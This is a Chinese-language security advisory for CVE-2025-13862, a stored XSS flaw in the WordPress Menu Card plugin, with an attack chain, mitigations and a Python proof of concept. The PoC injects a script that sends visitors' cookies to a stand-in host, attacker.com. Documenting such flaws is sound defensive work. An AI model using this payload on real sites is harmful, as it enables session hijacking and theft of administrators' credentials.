IPBUF安全漏洞报告
English
CVE-2025-13862 CVSS 6.4 中危

CVE-2025-13862 WordPress Menu Card插件存储型XSS漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13862
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Menu Card plugin

相关标签

WordPressMenu Card插件存储型XSSCVE-2025-13862跨站脚本WordPress插件漏洞Authenticated XSSCVSS 6.4

漏洞概述

CVE-2025-13862是WordPress Menu Card插件中的一个存储型跨站脚本(XSS)漏洞。该插件主要用于在WordPress网站上创建和管理菜单卡片功能。漏洞源于插件在处理category参数时未进行充分的输入清理和输出转义,导致恶意JavaScript代码可以被永久存储在数据库中。攻击者只需拥有Contributor级别或更高的用户权限即可利用此漏洞。通过在category参数中注入恶意脚本代码,这些代码会被存储在网站的数据库中。当其他用户访问包含注入代码的页面时,恶意脚本会自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全问题。由于是存储型XSS,攻击具有持久性,影响范围更广。CVSS 3.1评分为6.4,属于中危漏洞。

技术细节

漏洞位于Menu Card插件的menu-card.php文件第102行附近。该插件在处理category参数时直接使用用户输入而未进行适当的输入验证和清理。具体问题包括:1) 输入清理不足:插件未对category参数进行HTML标签过滤和特殊字符转义;2) 输出转义缺失:当该参数被回显到页面时,未使用htmlspecialchars()或类似函数进行转义;3) 缺少CSRF保护:未实施适当的nonce验证机制。攻击者可以利用Contributor及以上权限账户,在创建或编辑菜单卡片时在category字段注入恶意JavaScript代码,如<script>alert(document.cookie)</script>。这些代码会被存入数据库并在页面加载时执行。由于WordPress通常在管理员页面也加载前端脚本,攻击者可能窃取管理员Cookie或执行其他恶意操作。

攻击链分析

STEP 1
1
攻击者获取WordPress Contributor级别或更高权限的账户
STEP 2
2
攻击者访问WordPress管理后台的Menu Card插件设置页面
STEP 3
3
在category参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
4
插件将未经过滤的category值直接存储到数据库中
STEP 5
5
当其他用户访问包含该category的页面时,恶意脚本自动执行
STEP 6
6
攻击者通过XSS窃取用户Cookie、会话令牌或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13862 PoC - WordPress Menu Card Plugin Stored XSS # Target: WordPress site with Menu Card plugin <= 0.8.0 target_url = "http://target-wordpress-site.com" username = "attacker_contributor" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Create menu card with XSS payload in category parameter admin_url = f"{target_url}/wp-admin/admin.php?page=menu-card" # XSS payload - can steal cookies or perform other malicious actions xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' menu_card_data = { "action": "save_menu_card", "category": xss_payload, "menu_name": "Test Menu", "menu_items": "Test Item" } response = session.post(admin_url, data=menu_card_data) # Step 3: Trigger XSS by accessing the page containing the malicious category print(f"[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print(f"[+] Visit affected page to trigger the stored XSS")

影响范围

Menu Card plugin <= 0.8.0

防御指南

临时缓解措施
如果无法立即更新插件,可以采取以下临时措施:1) 在WordPress主题的functions.php中添加过滤器,对menu-card-category相关的内容进行转义处理;2) 临时禁用Menu Card插件,使用其他替代插件;3) 加强用户权限管理,确保没有可信的Contributor账户存在;4) 部署Web应用防火墙(WAF)规则来检测和阻止XSS攻击载荷;5) 监控网站访问日志,查找异常的script标签或JavaScript代码模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表